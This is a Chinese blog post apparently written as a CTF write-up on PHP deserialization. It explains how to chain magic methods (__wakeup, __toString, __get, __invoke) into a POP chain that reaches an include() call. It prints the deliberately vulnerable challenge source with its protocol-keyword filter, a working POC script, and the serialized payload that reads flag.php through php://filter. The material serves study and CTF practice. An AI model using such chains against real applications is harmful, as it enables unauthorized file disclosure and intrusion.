• 一道构造pop链的反序列化题


    前言

    最近在回顾php反序列化知识时遇到了一道题,感觉知识点挺多的,可以全面复习下反序列化。

    源码
    class Show{
    
        public $source;
    
        //public $str;
    
        public function __construct($file='index.php'){
    
            $this->source = $file;   
    
            // echo 'Welcome to '.$this->source."
    ";
    } public function __toString(){ // return $this->str->source; echo 'you are success!' return 'yes'; } public function __wakeup(){ // echo $this->source; if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = 'index.php'; } } }
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34

    首先看一道从题目中抽离出来的简单考点,也是题目中的一个重点。在反序列化执行时,首先会触发__wakeup(),而我们的目的是要最终触发__toString(),要知道将对象当字符串调用时会触发此函数,例如echo '对象'、或者正则匹配preg_match('','对象')等。所以该题可以利用正则触发,只要将$this->source=new Show;
    那么怎么实现呢?
    poyload:

    class Show{
    
        public $source;
    
        public function __construct($file='index.php'){
    
            $this->source = $file;  
        }
    }
    $a = new Show();
    
    //形式一:调用source变量赋值
    $a->source = new Show;
    $c = serialize($a);
    //形式二:以传参形式调用对象
    $b = new Show($a);
    $c = serialize($b);
    //两种表达形式结果一样
    echo urlencode($c);
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19

    其实最终就是将$this->source的值变成了Show对象,这样匹配的字符串就成了对象值,最后触发了
    __toString()。通过调试发现if中的内容会直接跳过,并不会执行。
    1
    接下来看正题

    
    //flag is in flag.php
    class Modifier {
        protected  $var;
        public function append($value){
            include($value);
        }
        public function __invoke(){
            $this->append($this->var);
        }
    }
    
    class Show{
        public $source;
        public $str;
        public function __construct($file='demo3.php'){
            $this->source = $file;
            echo 'Welcome to '.$this->source."
    "
    ; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "demo3.php"; } } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } } if(isset($_GET['pop'])){ @unserialize($_GET['pop']); } else{ $a=new Show; highlight_file(__FILE__); }
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51

    反序列化构造pop链可以考虑正向也可以逆向构造,正向一般是找反序列化触发点,但从触发点往下找比较复杂的情况一般是很难找的,做CTF时个人感觉逆向构造好一点,或者两种结合。比如先找能够RCE或者文件包含的点,然后顺藤摸瓜,找到触发点,而此题需要文件包含flag。

    • 在append函数中可以文件包含,所以这里尝试包含flag,但怎么调用append,顺藤摸瓜,看到__invoke()__invoke()当脚本尝试将对象调用为函数时触发,也就是如果一个函数中有$a();这种形式的,并且a变量可控,那么就可以传入一个__invoke()函数所在的实例化对象,由于返回值是以函数类型返回,导致__invoke()函数触发。
    • 那么继续往下找,在Test类中的__get()函数里正好会返回一个$function(),并且$p变量可控。因此只要将$p=new Modifier()就可以触发。但是__get()函数如何触发呢?
    • __get()是访问不存在的成员变量时调用的。例如实例化一个对象,然后调用了一个类中不存在的成员变量,则会触发__get()函数,知道如何触发,接下来寻找触发的点,我们看到这么一个函数,
        public function __toString(){
            return $this->str->source;
        }
    
    • 1
    • 2
    • 3

    如果$this->str=new Test;,那么它将调用一个该类中不存在的变量source,从而触发__get()函数。那么如何触发__toString()呢?是不是很熟悉,在本文开头已经讲过这个案例了。
    所以来捋一捋pop链,

    Show->__wakeup()->__toString()->Test
    Test->__get()->Modifier
    Modifier->__invoke()->append()->flag
    
    • 1
    • 2
    • 3

    整条链就是,

    Show->__wakeup()(preg_match把Show对象当作字符串触发)->__toString()(使类中的str为Test对象,输出不存在的对象触发)->Test->__get()方法->Modifier->__invoke()(调用对象以函数的形式触发)->append()->include(文件包含,包含flag)
    
    • 1

    POC:

    
    
    class Modifier {
        protected  $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
        //读flag
    }
    
    class Show{
    
        public $source;
        public $str; 
        public function __construct($file='demo3.php'){
            $this->source = $file;  
        }
    }
    
    class Test{
        public $p;
        public function __construct(){
            $this->p = new Modifier;
        }
    }
    $a = new Show();
    $a->str = new Test();
    $b = new Show($a);
    $c = serialize($b);
    echo urlencode($c);
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27

    调试利用链
    在这里插入图片描述
    这里有个细节讲一下,大佬应该都知道,我之前很模糊,调试后才知道,序列化的数据在反序列化后执行顺序是由内而外的,意思是会先执行里面的Show对象,结束后再执行外面的Show对象,然后由于外部Show的参数source的值是Show对象,所以会将Show当作参数再调用一次。
    如下:

    O:4:“Show”:2:{s:6:“source”;
    O:4:"Show":2:{s:6:"source";s:9:"demo3.php";s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{S:6:"\00*\00var";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}
    s:3:“str”;N;}
    红的这部分是外部Show对象的source的值,内部Show对象在执行时会优先执行,但是因为它source的值为demo3.php,所以会过不去preg匹配直接跳过,也不会触发任何函数然后结束,如下图
    在这里插入图片描述
    然后接着会反序列化执行外部Show,重新调用__wakeup,
    在这里插入图片描述
    这时参数已经为Show对象了,接下来就会将对象当作字符匹配从而调用__tostring()函数。不过这里是str=null,并不是之前的Test对象了,因此我们并未对外部Show的str参数赋值Test。没关系,往下看,
    在这里插入图片描述
    这时是不是已经看到取值是不是已经变为内部Show对象的两个变量取值了,因为在比较字符串时对象也执行了,而同时又触发了__toString()函数,所以可以看到这个结果。 下面继续执行就会通过创建Test对象调用一个不存在的source参数,触发__get()函数。
    在这里插入图片描述
    而变量p=new Modifier,所以对象当函数被调用触发了__invoke()函数
    在这里插入图片描述
    最终就调用了append函数达到了文件包含获取flag的目的。

    纠正前面错误 前面说反序列化执行顺序由内而外,这个只是某些函数执行顺序由内而外比如wakeup,并不是整个反序列化都是由内而外。
    参考文章:https://www.cnblogs.com/th0r/p/14152102.html#demo3
    https://mayi077.gitee.io/2020/05/09/MRCTF2020-Ezpop/

  • 相关阅读:
    Deadfellaz Game Jam 启动,丰厚奖励等你来赢取!
    1024程序员节主题征文 | 程序员节节日祝福语大全
    MySQL数据库-备份
    QTableWidget 合并单元格
    彻底解决 IDC Incast
    天软特色因子看板 (2023.09 第05期)
    对数坐标轴如何展示
    Scala语言基础(2)
    Redis 哨兵
    Pow(x, n)
  • 原文地址:https://blog.csdn.net/qq_41107295/article/details/127043341